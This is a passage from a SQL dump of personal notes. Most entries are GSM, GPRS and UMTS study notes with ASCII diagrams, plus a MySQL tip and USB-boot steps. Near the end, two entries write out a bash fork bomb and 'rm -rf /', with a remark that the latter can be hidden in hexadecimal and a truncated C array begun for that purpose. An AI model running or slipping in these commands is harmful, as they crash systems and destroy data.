-unmap-arrows',NULL,NULL,'\nmap <Left> <Nop>\nmap <Right> <Nop>\nmap <Up> <Nop>\nmap <Down> <Nop>\n','2015-02-25 12:35:51'),(825,'#1G -about','\ndisadvantage:\n============================\nevery thing is analog\n    then not robust to interference\nmany countries have their own standards\n',NULL,NULL,'2015-02-25 12:53:13'),(826,'#2G -advantage','\nuses advanced modulation\nimproved spectral utilization\nsms is included\nImproved efficiency of access\n',NULL,NULL,'2015-02-28 17:13:43'),(827,'#gsm -freq-range','\nSystem 			P-GSM (Primary) 	E-GSM (Extended) 	GSM 1800		GSM 1900\n====================================================================================\nFreq Uplink 	890-915MHz			880-915MHz			1710-1785Mhz	1850-1910MHz\nFreq Downlink 	935-960MHz			925-960MHz			1805-1880Mhz	1930-1990MHz\n',NULL,NULL,'2015-02-25 13:10:05'),(828,'#pstn -intro','\nThe PSTN consists of telephone lines, fiber optic cables, microwave transmission links, \n    cellular networks, communications satellites, and undersea telephone cables, \n    all interconnected by _switching_centers_\n    \'\n    thus allowing any telephone in the world to communicate with any other.\n\npstn is like the internet for the telephones\n\n               +----+                +----+\n               | co +----------------+ co |\n               +--+-+--------+       +--+-+\n                  |          |          |\n                  |          |          |\n                  |          |          |\n                  |          |          |\n                +-+--+       +----------+----+\n                | co |                  | co |\n            +-->+----+  <<<-----+       +----+\n            |      ^            |\n     +------+      |            |\n     |phone1|      |            |\n     +------+ +----+-+          +------+\n              |phone2| ........ |phoneN|\n              +------+          +------+\n\npstn is the network of co\n\nnadp is a sort of protocol used in pstn\n  +----+                                      +----+\n  | co |---->>....co....co...------------>>   | co +-------phoneB\n  +----+                                      +----+\n     ^\n     |\n  +--+---+\n  |phoneA|\n  +------+\nif phoneA wants to contact phoneB\n    it uses nadp\n\n\n\n                                                           +--- this is a box in which\n                                                           |      the co_ctrl will stop\n   +------+                                  +------+      |\n   |  co  | <<----.... co .......co......<<--+  co  |      |\n   +------+                                  +--+---+      |\n                                                |          |                +----house------+\n                                                |   +--+   |                |               |\n                                                |   |  |   +---------+------+        +-----+|\n                                                +---+  +-------------|demarc+--------+phone||\n                                                    |  |             +------+        +-----+|\n                                                    |  |                    +---------------+\n                                                    |  |\n                                               +----+--+\n                                               +-telephone_pole\n\ntelephon_company will be responsible for communication from the co and pstn till the demarc_box\nif sth wrong happen from the demarc_box till the phone, it will not be the responsible of the\n    telephony_company\n\n',NULL,NULL,'2015-02-25 17:02:10'),(829,'#telec -isdn -intro','\nit is a set of communication standards for _simultaneous_ digital transmission of: \n    voice, video, data, \n    and other network services over the traditional circuits of the pstn\n	over a _single_line_\n                                          |\n                                    tel_operator_cloud uses\n                                      digital inside the \n                                           cloud\n                                           |\n                                           |                    |\n                                       digital               analog\n          digital                          |                    |\n            |                     +-------------------+         |\n      +--+  |        +-----+ |    |+-----------------+|         |         +-------+\n      |pc+------>>   |modem+-->>  ||  tel_op_cloud   |+------------>>     | modem |\n      +--+  |        +-----+ |    |+-----------------+|                   +---+---+\n                             |    +-------------------+                       |\n                             |                                                |\n                           analog                                       ------|-----digital--\n                                                                              |\n                 +----------------------+                                     |\n                 |+--------------------+|              |          +-----+     |\n                 ||      internet      ||      <<-----------------+ isp |  <<-+\n                 |+--------------------+|              |          +-----+\n                 +----------------------R            digital\n                                                       |\n\nisdn consist of communication between digital to digital end\n',NULL,NULL,'2015-02-25 17:37:42'),(830,'#gsm -cgi','\ncgi = mcc + mnc + lac + ci\n      |              |\n      +--+-----------+\n         +-- lai\n\nmcc: 3decimal places\nmnc: 2decimal places\nlac: min 5decimal places or max 8 decimal placemcc: 3decimal places\nmnc: 2decimal places\nlac: min 5decimal places or max 8 decimal placess\n\nwith the help of cgi, calls are internationally defined in a unique way.\n',NULL,NULL,'2015-02-26 02:57:02'),(832,'#gsm -cell -intro','one BTS covers one cell.\neach cell is given one cgi to identify the cell',NULL,NULL,'2015-02-25 14:44:57'),(833,'#telec -msc -intro #gsm','\nperforms all the switching functions for all mobile stations in the area which is covered\n    by its bss\nmsc switching is based on isdn_switching\n',NULL,NULL,'2015-02-25 17:27:51'),(834,'#gsm -location-area -lai','\nA group of cells form a Location Area\nEach Location Area is assigned a lai\nEach Location Area is served by one or more BSCs\n\neach location-area has its own lai\nthe laiis internationally unique as follows\n    lai = cc + mnc + lac\n        cc:  3 decimal places.\n        mnc: 2 decimal places.\n        lac: maximum 5 decimal places or maximum twice 8 bits coded in hexadecimal (LAC < FFFF)',NULL,NULL,'2015-02-25 15:26:48'),(835,'#gsm -msisdn -msrn -intro','\n====================\n#msisdn---------------------\nThe real telephone number of a mobile station is the msisdn\nIt is assigned to the subscriber (him|her sim)\n\'\nit follows the isdn number plan\n    so it has the following structure:\n    \'\n    msisdn = cc + ndc + sn\n\n#end_msisdn\n\n\n\n\n=================\n#msrn------------------------\nassigned by the locally responsible VLR to each mobile station in its area. \nCalls are also routed to the MS by using the MSRN.\nThe MSRN has same structure as the MSISDN\n    msrn = cc + ndc + snr\n        cc: of the visited area\n        ndc: of the visited area\n        snr: serial number of the phone doesn_t change\n',NULL,NULL,'2015-02-25 15:16:54'),(836,'#gsm -identifiers-addresses','\nthose are the most important identifiers and addresses in gsm:\n==============================\nimei\nimsi\nmsisdn\nmsrn\ntmsi\nlai\nlmsi\nci\nauc\n',NULL,NULL,'2015-02-26 03:07:57'),(837,'#gsm -lmsi','\nThe VLR can assign an additional searching key to each mobile station within its area to accelerate database access\n    this unique key is the lmsi\nThe LMSI is assigned when the mobile station registers with the VLR and is also sent to the HLR\nlmsi is 4bytes\n',NULL,NULL,'2015-02-25 15:50:57'),(838,'-about-analog-signals','\nifk: analog signal is used when a signal has to be carried to long distance\n',NULL,NULL,'2015-02-25 15:57:40'),(839,'#gsm -bts -intro','\nhas a set of Transceivers (TRXs) to communicate with mobiles in its area\n\nOne BTS covers one or more than one cell\n\nBTS is connected to the BSC through Abis Interface which is 2Mbps\n\nBTS transmits and receives voice at 13kbps over air interface to the mobiles.\n',NULL,NULL,'2015-02-25 16:03:18'),(840,'#gsm -bsc -intro','\nSeveral BTSs are connected to the BSC\n\nBSC manages: \n    channel allocation, \n    handovers \n    release of channels at connected BTS\n\n\n            +---+       |        +-----+       |        +-----+\n            |bts| ------------>> | bsc |-------------->>| msc |\n            +---+       |        +-----+       |        +-----+\n                        |                      |\n                    abis_interf             a_interf\n\nBSC has the entire database of cell parameters associated with the BTSs\n\nNo mobile data is stored in the BSC\n',NULL,NULL,'2015-02-25 16:08:47'),(841,'#gsm -rate -trau -intro','\n\n            13kbps            16kbps          16kbps                64kbps\n               |                |               |                      |\n               |                |               |                      |\n     +----+    |    +-------+   |     +-----+   |    +------------+    |       +-------+\n     | MS +------>> |  BTS  +------>> | BSC +------> | MSC & TRAU +--------->> | PSTN  |\n     +----+         +-------+         +-----+        +------------+            +-------+\n',NULL,NULL,'2015-02-25 16:12:35'),(842,'#gsm -plmn -intro','\nthe specific purpose of plmn is providing land mobile telecommunications services to the public\nplmn must be connected to pstn in order to route calls\n\nA PLMN is identified by the mcc and the mnc\n\nplmn interconnects with other plmn_s and other pstn_s\n    or with internet_srvc\n\nThe area covered by one network operator(ex: telma) is called PLMN. \n\nA PLMN can contain one or more MSCs.\n\nifk: gsm is one of the numerous plmn\n',NULL,NULL,'2015-02-28 14:36:39'),(843,'#telec -pots -intro','\nit is the standard service offering from telephone companies from 1876 until about 1960\n',NULL,NULL,'2015-02-25 17:41:35'),(844,'#gsm -tmsi','\nit is stored in the vlr, and it is not passed in the hlr\ntmsi has significance in the area handled by the VLR only.\nTogether with the current location area, TMSI allows a subscriber to be identified uniquely and it can consist of up to 4x8 bits.\n',NULL,NULL,'2015-02-26 02:53:21'),(845,'#gsm -vlr -intro','\nit contains a 2nd db for the mgt of the mobile_s_subscribers located in the vlr area\n    so the load of hlr(1st db) is minimized\n\nit ctrl the roaming of ms in an msc assigned to that ms\nmust contact the hlr for handling the calls\n\n\nresponsible for the current location of a subscriber\n    then assign a tmsi \nassign an additional searching key(lmsi) to each mobile station within its area to accelerate database access.\n\nthe information in the db of the vlr are:\n    all the subscriber numbers which are active\n    imsi\n    \n                          +--------+\n                          | +-----+|\n                          | | hlr ||\n +-----+-------+          | +-----+|           +-------+-------+\n |     |  msc  +----------+--------+-----------+  msc  |       |\n |     +-------+                               +-------+       |\n |                                                             |\n +-----+-------+                               +-------+       |\n       |  vlr  |                               |  vlr  +-------+\n       +-------+                               +-------+\n\nMSC communicates with HLR for subscribers coming from different MSCs.\n    If the subscriber is found valid, \n        then it registers the subscriber in the VLR\n',NULL,NULL,'2015-02-28 03:19:56'),(846,'#gsm -auc -intro','\nauthentication is the process by which a sim is verified\nsecret data and algorithm are stored in the auc.\nauc is associated with the hlr\n\n    +----+         +-----+    +-----+     +------+\n    | ms +->....-->| msc +--->| hlr +---->| auc  |\n    +----+         +-----+    +-----+     +------+\n',NULL,NULL,'2015-02-26 03:09:45'),(847,'#gsm -eir -intro','\ncontains a database which has a series of IMEI\n	which is stored with relevant classifications\n	\'\n	white list:\n		contains the IMEI of type approved mobiles\n	black list:\n		contains IMEIs which should be barred because \n			either they are stolen or are not functioning properly\n	grey list:\n		List of IMEIs which are to be evaluated \n			before they are put in black list\n\nMSC asks the Mobile to send its IMEI\n	MSC then checks the validity of IMEI with the EIR\n\n         +--+                     +-----+      +-----+\n         |ms+---.......-----------+ msc +------+ eir |\n         +--+                     +-----+      +-----+\n',NULL,NULL,'2015-02-26 06:44:04'),(848,'#gsm -bc  -intro','\nit Generates the billing statement for each subscriber\n\nBC may be directly connected to the MSC or through a mediation device\n\nmsc sends cdr to the bc\n\nbc generates the bill according:\n    to the destination called and the call duration\n    to the units set\n    to the template of pulse rates\n                                      +-------------+\n                                      |templates for|\n                                      |  unit costs |\n                                      +-----+-------+\n                                            |\n                                            v\n    +----+              +-----+           +----+\n    | ms +--->.....---->| msc +---------> | bc +------>  call_cost\n    +----+              +-----+  cdr      +----+\n\n',NULL,NULL,'2015-02-26 03:50:14'),(849,'#gsm -noc -omc -important','\nomc = noc\n\nIt is the central monitoring and remote maintenance centre for all network elements\n\nOMC has links to BSCs and MSCs\n\n                     +---+-----+    +---+                 +----+-----+\n                     |bts|     |    |bsc+----+            |    | msc |\n                     +---+  +--+----+---+    |            |    +-----+\n                     +---+--+  |             |  +---------+\n                     |bts|     |             |  |+-------+|\n                     +---+     |             +--+|  omc  ||\n                     +---+-----+             |  |+-------+|\n                     |bts|          +---+    |  +----+----+----+-----+\n                     +---+      +---+bsc+----+       |         | msc |\n                     +---+      | +-+---+            |         +-----+\n                     |bts|      | |                  |\n                     +---+------+ |             +----+------+\n                     +---+        |             |           |\n                     |...|        |             |           |\n                     +---+--------+          +--+--+     +--+--+\n                                             | p c |     | p c |\n                                             +-----+     +-----+\n',NULL,NULL,'2015-02-26 03:59:54'),(850,'#gprs-intro #gsm ','\ngprs is also known as a gsm-ip\n\nit allows the subscriber to make voice calls, and access internet on the go\ngprs is also known as a gsm-ip\ngprs add those nexts to the gsm network:\n    pcu\n    sgsn: the msc for the gprs_network\n    bg: a gateway to other plmn\n    Intra-PLMN backbone:\n        an IP based network inter-connecting all the GPRS element\n\n\n\nanother type of intro:\n======================\nGPRS relies also on re-transmission and data integrity protocols to ensure that \n    data packets transmitted over the radio air interface are not lost or corrupted\n\nGPRS introduces packet data transmission to the mobile subscriber\n    This packet mode technique uses multi-slot technology together with coding schemes (CS-1 to CS-4)\n        that increase the data rates up to 160 kbit/s\n\ngprs is designed to work within an existing gsm\n	with additional packet switching nodes\n	\'\n	This packet mode technique uses multi-slot technology\n		to increase the data rates up to 160 kbit/s.\n\nThe GPRS system uses the physical radio channels as defined for GSM.\n	but it is called pdch\n\nA physical channel used by GPRS is called a pdch\n    The operator can define 0-8 dedicated PDCHs per cell. \n    The first dedicated PDCH in the cell is always a mpdch\n',NULL,NULL,'2015-03-06 00:55:49'),(851,'#gprs-gsm -architecture','\n             +-----------------------------+\n             |            +-----+          |            +------------------------------+\n             |            | bts +----+     |            |                              |\n             |            +-----+    |     |            |                              |\n             |    +-----+            | +---+-+        +-+---+            +------+      |\n             |    | bts +------------+-+ bsc +--------+ msc |            | gmsc +----------isdn\n             |    +-----+            | +---+-+        +-+---+            +------+      |\n             |                       |     |            |                              |\n             |             +-----+   |     |            |        gsm_core              |\n             |             | bts +---+     |            |                              |\n             |             +-----+         |            |     +-----+                  |\n             |    g s m _ r a n            |            +-----+ hlr +------------------+\n             +-----------------------------+                  | auc |\n              +---------------------------+             +-----+ eir +--------------+\n              |  u                        |             |     +-----+              |\n              |      +-------+            |             |                          |\n              |  t   | nodeB +------+     |             |                          |     +----------+\n              |      +-------+      |  +--+--+         ++-----+         +--------+ |     |+--------+|\n              |  r                  +--+ rnc +---------+ sgsn |         |  ggsn  +-------+|internet||\n              |      +-------+      |  +--+--+         ++-----+         +--------+ |     |+--------+|\n              |  a   | nodeB +------+     |             |                          |     +----------+\n              |      +-------+            |             |     gprs_core            |\n              |  n                        |             |                          |\n              +---------------------------+             +--------------------------+\n\n\n\n                  +-------+                   +---+\n                  |msc/vlr+---------D---------+hlr|\n                  +-------+-----+     +-------+---+\n                  |             |     |\n                  A            Gs     Gr\n                  |             |     |\n                  |             |     |\n     +--+         +---+        ++-----+          +----+             +---+\n     |ms+---------+bss+---Gb---+ sgsn +---Gn-----+ggsn+-----Gi------+pdn|\n     +--+         +---+        ++-----+          +----+             +---+\n                                |     |\n                                |     |\n                               Gn     Gp\n                                |     |\n                                |     |\n                 +----+---------+     +------+----+\n                 |sgsn|                      |ggsn|\n                 +----+                      +----+\n\n',NULL,NULL,'2015-02-28 14:29:35'),(852,'#telec #gprs #gsm -gmsc-intro','\nProvides interconnection between \n    the UMTS core network \n    and \n    external PSTN/ISDN networks\n',NULL,NULL,'2015-02-26 06:14:03'),(853,'#gsm -msc -intro','\n          +-----+                                       +---+\n          | bsc +--------+                       +------+hlr|\n          +-----+        |                       |      +---+\n                         |     +-----+           |\n          +-----+    ----+-----+ msc +-----------+\n          | ... |        |     +-----+           |\n          +-----+        |           |           |      +---+\n                         |           |---------+ +------+hlr|\n          +-----+        |    ^     ++-----+   |        +---+\n          | bsc +--------+    |     | pstn |   |\n          +-----+             |     +---+--+   +---------------------fixed_line\n                 |            |         |\n                 +----+-------+  +------+-------------------+\n                      |          |                          |\n      a_interf   -----+    +-----+-----+               +----+------+\n                           |fixed_phone|               |fixed_phone|\n                           +-----------+               +-----------+\n\ncentral about:\n    switching the calls\n    maintaining the calls\n    release the calls\n\ncontains a database for all subscribers and their associated features\n\nMSC is weighted on the number of subscribers it can support\n\nWhen there is more capacity, there are more than one MSCs\n    then there is a concept of gmsc\n    then the schema of the network is not like the one before\n\n         +---+        +-----+ \n         |bsc+--------+ msc +----+\n         +---+        +-----+    |   +------+       +------+\n                                 +---| gmsc +-------+ pstn |\n                                 |   +------+       +------+\n         +---+        +-----+    |\n         |bsc+--------+ msc +----+\n         +---+        +-----+\n\n\nmsc is connected to many other devices\nhere it defines more and shows with more interfaces:\n\n                 +-----+        +-----+          +-----+\n                 | omc |        | vlr |          | eir |\n                 +-----+-----+  +-----+          +-----+\n                             |        |          |               +----------+\n         +---------+         +---+    B          F               | hlr .... |\n         | bss ... |             |    |          |               +----------+\n         +---------+-----A-------+----+-----+----+-------C-------+\n                                 |   m s c  |\n                                 +----------+--E---+\n               +------------+----+                 +----------+\n               |  psn/isdn  |                      | msc .... |\n               |   network  |                      +----------+\n               +------------+\n\n',NULL,NULL,'2015-02-28 14:55:04'),(854,'#gsm -hlr -intro','\nMSC has a database which is stored in hlr\nthat database contains:\n    imsi\n    location information\n        then enabling calls routing from sgsn|msc to ms\n\n    all permanent subscribers\n    describes the subscriber’s profile\n        basic features             -+-----of the subscriber\n        supplementary services     -+\n\nMSC communicates with the HLR to get data for subscribers on call\n',NULL,NULL,'2015-02-28 02:40:23'),(855,'#gsm -channels','\ndivided into 2:\n    physical channels\n        one time slot on one carrier is a physical_channel\n    logical channels\n        information carried by the physical_channel is \n            the logical_channel\n',NULL,NULL,'2015-02-27 12:58:37'),(856,'#gsm -channels -sum_up','\n                                           +----------------+\n                                           +--gsm_channels--+\n                                           +--------+-------+\n                                                    |\n                                                    |\n                  +------------------+              |                +-----------------+\n                  +-physical_channel-+--------------+----------------+ logical_channel |\n                  +------------------+                               +--------+--------+\n                                                                              |\n                                                                  +-----------+--------+\n                                                                  |                    |\n                                                               +--+--+              +--+--+\n                                                               | tch |              | cch |\n                                                               +--+--+              +--+--+\n                                                                  |                    |\n                                                                  |                    |\n                                                          +-----+ |  +-----+           |\n                                                          |tch/f+-+--+tch/h|           |\n                                                          +-----+    +-----+           |\n                                                                               +-------+---------+\n                                                                               |       |         |\n                                                                            +--++    +-+--+   +--+-+\n                                            +-------------------------------+bch|    |ccch|   |dcch|\n                                            |                               +---+    ++---+   +----+\n                             +------------+-+                                         |            |\n                             |            |                      +--------------------+            |\n                        +----+--+      +--+--+                   |                       +-------+ |    +------+\n                        |sync_ch|      | cch |             +-----+-------+               | sdcch +-+----+ acch |\n                        +-+-----+      +-----+             |     |       |               +-------+      +------+\n                          |                       +------+ |  +--+--+  +-+---+                          |\n                  +----+  | +----+                | cbch +-+  |rach |  | pch/|            +-----+       | +-----+\n                  |sch +--+-+fcch|                +------+    +-----+  |agch |            |facch+-------+-+sacch|\n                  +----+    +----+                                     +-----+            +-----+         +-----+\n\n',NULL,NULL,'2015-02-26 07:15:23'),(857,'#umts -architecture',' \n   +--circuit_switched cn----------+   +--packet_switched cn --------------+\n   |         +---------+           |   |                    +--------+     |\n   |         |  gmsc   |           |   |                    |  ggsn  |     |\n   |         +------+--+           |   |                    +---+-+--+     |\n   |                |              |   |                        | |        |\n   |                |            +-+---+-+                      | |        |\n   |                |            |  auc  |                      | |        |\n   |                |            +-------+                      | |        |\n   |                |             +-----+                       | |        |\n   |                +-----C-------+ hlr +--------Gc-------------+ |        |\n   |                              +-----+--------------Gr----+    Gn       |\n   |                              +-----+                    |    |        |\n   |                              | eir |                    |    |        |\n   | +--------+    +-------+---F--+----++---------Gf------------+ |        |\n   | |        |    |       |      |    |                     |  | |        |\n   | |+------+|    |+-----+|      |    +---------------------+--+-+-+------+\n   | ||  vlr |+-G--+| vlr ||      |                          | sgsn |\n   | |+---+--+|    |+--+--++------------Gs-------------------+-+--+-+\n   | |    |   |    |   |   |      |                            |  |\n   | |    B   |    |   B   |      |                            |  |\n   | | +--+--+|    |+--+--+|      |                            |  |\n   | | | msc ||    || msc ||      |+---------Gh | Gb-----------+  |\n   | | +-----++-E--++-----++------------luCS-----------+          |\n   | +--------+    +-------+      ||                   |         luPS\n   +---------------|--------------+|          +--------|----------|------------utran----------+\n                   |               |          | utran  |          |                           |\n                   A               |          | +------|----------|------------+              |\n                   |               |          | |RNS   +------+---+            |      +-----+ |\n                   |               |          | |             |rnc+----lur-----|------+ rnc | |\n                   |               |          | |             +---+            |      +-----+ |\n             +-----+---------------+          | |                              |              |\n             | bsc |                          | |+---------+          +-------+|              |\n             +-----+                          | ||  nodeB  +-lub-+    | nodeB ||              |\n     +-----+          +-----+                 | |+---------+     |    +-------+|              |\n     | bts |          | bts |                 | |         +------+-------+     |              |\n     +-----+          +-----+                 | |         |      |       |     |              |\n                                              | |      +--+-+  +-+-+  +--+-+   |              |\n                                              | |      |cell|  |...|  |cell|   |              |\n                                              | |RNS   +----+  +---+  +----+   |              |\n                                              | |                              |              |\n                                              | +------------------------------+              |\n                                              +----utran---------------------------utran------+\n\n\n\n\n\n\n\n                                                       +--------------+\n                                                       | sms-G/iw_msc |\n                                                       +--+-----------+\n  +--+        +-----+      +-------+    +-----------+     |    +-----+           +-----+\n  |ms|        | bts +------+  bsc  +----+  msc/vlr  +-----|----+ hlr +-----------+ auc |\n  +--+        +-----+      +---+-+-+    +---------+-+     |    +---+-+           +-----+\n                               | |                |  +-Gd-+        |\n                               | |               Gs  +---Gr--------+\n                               | |                |  |\n  +--+         +------------+  | +------Gb-------++--+--+          +------+             +-------------+\n  |ms|         |  edge_tru  +--+            +----+ sgsn |          | ggsn +----Gi-------+ isp_network |\n  +--+         +------------+               |    +-----++          +-+---++             +-------------+\n                                            |         Gn             |   |\n              +---------------+             |          |            Gn   |\n              |   umts        +-------lu----+         ++---------+   |   |          +-----------+\n              |               |                       | backbone +---+   +-----Gi---+ corporate |\n  +--+        |u    +-------+ |                       |  network |                  |   network |\n  |ms|        |t    |bts ...| |                       +----------+                  +-----------+\n  +--+        |r    +-------+ |\n              |a    +-------+ |\n              |n    |rnc ...| |\n              |     +-------+ |\n              +---------------+\n',NULL,NULL,'2015-03-01 14:39:39'),(858,'#telecom software','\nflexi packet\nbts_software\nnemo outdoor\n',NULL,NULL,'2015-02-27 11:36:17'),(859,'with telecom_team','\nyesterday:\n    installed bts at andohatapenaka\n\ntoday:\n    continued the installation of bts at andohatapenaka\n    at andohatapenaka:\n        there are bts(2g, 3g, microwave)\n\nsome family range of the bts(in tana):\n    10.76.16.xxx\n          17.xxx\n          19.xxx\n    192.168.255.xxx\n\none of the gateways:\n    10.76.16.1\n\n',NULL,NULL,'2015-03-01 05:30:34'),(860,'#special','\nall the bts have an ip\n\nwhen you want to get the software in the bts,\n    install the software\n    update it\n    do the configuration of the commisioning\n    do the commisionning\n\nthose are some softwares which deal with telecoms:\n    2g_flexi\n    bts_site_manager\n    nemo_outdoor\n',NULL,NULL,'2015-02-27 11:55:55'),(861,'#gsm -channel-combination','\nI have to do more research about carriers - channels - spectrum\n\na spectrum is divided into 127carriers\n    let_s suppose that airtel has 42carriers\n    some of those 42channels will be combined_channels\n        some will be non-combined-channels\n\nin combined_channels\n_____________________________________________\n\nAll the controlling signals are in the time slot 0 of the Multi-frame\nifk: \n\n     result from the fdma (and this one is a combined_channel)--+\n                                                                |\n     +----------------------------------------------------------+----+\n     |                                                               |\n\n     |               |              |               |                |\n     +---------------+--------------+---------------+----------------+....\n     |               |              |               |                |\n\n     |               |\n     +-+-------------+\n       +--- divided by 8 (0 ... 8)\n       |        and ctrl signals are in the time_slot_nb0\n       |  \n       +---     dedicated ctrl signals are in time slot_nb1 \n\n  \nin non-combined-channels:\n_______________________________\n\nDedicated controlling signals are in time slot 1 of the Multi-frame\n\n',NULL,NULL,'2015-02-27 13:27:04'),(862,'#gsm -architecture -with-interfaces','\n                              +---+\n                              |auc|\n                              +-+-+\n                                |\n                                h\n                                |\n                              +-+-+       +---+            +---+\n              +-----h---------+hlr+---d---+vlr|            |eir|\n         +----+           +-c-+---+       +-+-+            +-+-+\n         |gmsc|           |                 |                |\n         +----+           +-c-+---+         |                |\n              |               |msc+----b----+                |\n              +---------------+-+-+-----------------f--------+\n                                a\n                                |\n                              +-+-+\n                              |bsc|\n                              +---+\n\n                                .\n                                .\n                                .\n                                .',NULL,NULL,'2015-02-27 15:04:16'),(863,'#gsm -abis-interface','\nresponsible for transmitting traffic and signalling information between the BSC and the BTS\n    by using the lapd(a protocol)\n',NULL,NULL,'2015-02-27 15:29:35'),(864,'#gsm -imei -intro','\n#imei--------------------\n\nimei is a number which is unique for each ms\n\nimei = fac + tac + snr + sp\n\n#imsi-----------------------\ndifferent subscribers_identity are used, and they are used in different phases of call setup\n\'\nimsi is the first nb_identity of the subscriber\n    it is assigned permanently to that subscriber\n    \'\n    imsi = mcc + mnc + msin\n',NULL,NULL,'2015-02-28 03:18:14'),(865,'#mysql -column-change|modify|rename',NULL,NULL,'\nboth change and modify are able to change the description of a col\n\'\nalter table table00 change column col00 col01 descr_col;\n    used if u want to _rename_ the col00 \n\nalter table table00 modify column col00 descr_col;\n    used if u don_t want to change the name of the col\n\n\'\nexp:\n    alter table person change name real_name text;\n','2015-02-28 03:50:56'),(866,'#gsm -sim -intro','\nused to route the call\n\nused to perform billing\n',NULL,NULL,'2015-02-28 03:57:09'),(867,'#gsm -identification','\nimsi is the first nb used for the identification\n    it is transmitted in the initialization of the mobile\n\'\nafter sending imsi\n    tmsi is sent and updated periodically:\n        bcz of the security\n        with the lai\n\nmsisdn is used to identify a subscriber everywhere in the world (ifk)\n\nsubscriber authentication key(ki) (to search)\n',NULL,NULL,'2015-02-28 04:05:11'),(868,'#telec -drive-test','\nhttp://en.wikipedia.org/wiki/Drive_testing\nDrive testing is a method of measuring and assessing the coverage, capacity and Quality of Service (QoS) of a mobile radio network\n\nhttp://www.telecomhall.com/what-is-rf-drive-test-testing-.aspx\nit  is the procedure to perform a test while driving\nyou can do a drive test using a motorcycle or bicycle.\n    What matters is the hardware and software used in the test\n    \'\n    the following is the schematic of the std_connections:\n\n                                                                +-----------+\n                                                                |  scanner  |\n                                                                +----+------+\n                                        +----+                       |\n                         +-----+        | pc |                       |\n                         | gps +--------+----+-----------------------+\n                         +-----+       /    /            +--------+\n                                      ------+--+     +---| dongle |\n                                               |     |   +--------+\n                                               +-----+\n                                                     |\n                                                     |    +--+\n                                                     +----|ms|\n                                                          +--+ \n\nthe pc will output sth like the follows;\n    \n              |           |\n              |<--Road--->|       +----  ms   : signal level - best server --+\n              |           |       |                ........                  |\n              |           |       |                                          +-- output file\n         +----+       +---+       +---- gps   : latitude - longitude         |\n         |            |           |                .........                 |      of\n         |    +-+     |           |                                          |\n         |    |x+-----------------+----- scanner : other servers             |    the pc\n         |    +-+     |                            .........               --+\n         |            |\n   ------+     +------+\n               |\n               |\n   ------------+\nGPS: collecting the data of latitude and longitude of each point\n    and more things, but those are the most important\n\'\nms: mobile data collections, such as signal strength,\n    best_server\n\'\nscanner:    collecting data throughout the network\n\nCurrently, there are already cell phones that do everything.\n    They have a GPS,\n    collection of specific software\n    \'\n    but they are very expensive\n\nSTEPS:\n    The routes are predefined in the office\n        it indicates where testing will occur.\n        \'\n        This area is defined based on several factors, mainly related to the purpose of the test.\n',NULL,NULL,'2015-02-28 15:41:02'),(869,'#gsm -main-signalling-channels','\nhttp://www.whytelecom.com/content/signaling-channel-gsm-radio-interface\nbch\n    transmitted by the bts to the ms\n    it carries sys_param\n    bcch\n    fcch\n    sch\n    cbch\ncch\nsdcch\nacch\nccch\n\n',NULL,NULL,'2015-02-28 17:12:26'),(870,'#gen_c #lakh','\nA lakh or lac\nabbr L\na unit in the Indian Numbering System\nequal to one hundred thousand \n\n1L = 10^5\n',NULL,NULL,'2015-03-01 05:41:13'),(871,'#gen_c #sq.km -unit','\n1sq.km = 1km^2\n\n1sq.km = 0.3861 square miles\n         247.1 acres\n\n1 acre = about 0.004047km2, 0.4047ha or 4047 m^2\n',NULL,NULL,'2015-03-01 05:47:24'),(872,'create windows_bootable from linux','\nhttp://www.webupd8.org/2010/10/create-bootable-windows-7-usb-drive.html\n================================================================================\n\nmake sure that those next packages are installed:\n    gparted\n    ntfs-3g\n\nplug ur usb_stick\nopen gparted(Applications > Sys_tools > Administr > gparted)\nselect the usb_stick\n    (gparted > devices > /ur/usb_stick)\numount the usb_stick (from gparted)\nto format the usb_stick in ntfs_format\n    (partition > format > ntfs)\nmake the usb_will be bootable\n    right_click usb_stick\n    select Manage_flags > \"boot\"\nmount back the usb_drive\nsome users told that w7 installation fails\n    dl unetbootin version494\n        http://sourceforge.net/projects/unetbootin/files/UNetbootin/494/unetbootin-linux-494/download\n\nright_click the file just dldd\n     select (properties > permissions > allow_executing_file_as_prg)\n\ndouble_click the dldd_file\nu have the option \"show all drives\" in the 494version\n\ninstall ur windows7 onto ur usb_drive\n\n',NULL,NULL,'2015-03-01 14:16:47'),(873,'#telec -wcdma','\nwcdma technology provides some advantages for the operator \n    in that it allows the data, \n    improves the voice of base.\n\nWCDMA can offer more voice minutes with better quality\n\nVoice capacity offered is very high due to \n    interference control mechanisms, \n    including frequency reuse of 1, \n    fast power control, \n    and soft handover.\n\nwcdma improves broadband voice service with amr_codec\n\nwcdma provides better capacity of the bts \n    and the efficiency of the equipment\n\na large number of users are supported by the carrier\n    with less rf_carriers required\n\nwcdma operators are able to provide useful data_services:\n    navigation\n    person to person video_calls\n    tv_clips\n\nit enables simultaneously voice and data\n\nthe operators offer moblie connectivity to the internet \n    with maximum bit_rate of 384kbps downlink and uplink\n\n',NULL,NULL,'2015-03-01 14:57:23'),(874,'#telec -hspa -hsdpa-hsupa','\nhspa = hsupa + hsdpa \n\nThe HSDPA peak data rate available in the terminals is initially 1.8Mbps\n    it is increasing and later it will be beyond 10MBps\n\nThe HSUPA peak data rate in the initial phase was 1–2 Mbps and the second phase was 3–4Mbps\n',NULL,NULL,'2015-03-01 15:07:13'),(875,'#by_me -sys playlist -important','\ni decided to put all vid in /hddXX/vid\nto make it easy to access,\n    i use files for the playlist\n\nall playlist_file will start with:\n    pl\n',NULL,NULL,'2015-03-01 16:46:47'),(876,'files and its extension','\nvideo:\n    webm\n    3gp\n    mp4\n    avi\n    flv\n#end_video\n\naudio:\n    mp3\n    wav\n    ogg\n#end_audio\n\npic:\n    gif\n    jpg\n    jpeg\n#end_pic\n',NULL,NULL,'2015-03-02 01:58:05'),(877,'vlc features',NULL,NULL,'\nhttp://www.howtogeek.com/173222/10-useful-features-hidden-in-vlc-the-swiss-army-knife-of-media-players/\n','2015-03-01 17:09:05'),(878,'#linuxfork bomb',NULL,':(){ :|: & };:',NULL,'2015-03-01 17:26:16'),(879,'#linux rm_-rf_/',NULL,NULL,'\nrm -rf / \n	could be disguised in hexadecimal, this is the hexadecimal of that cmd\n	\'\n	char esp[] __attribute__ ((section(“.text”))) /* e.s.p\nrelease */\n= 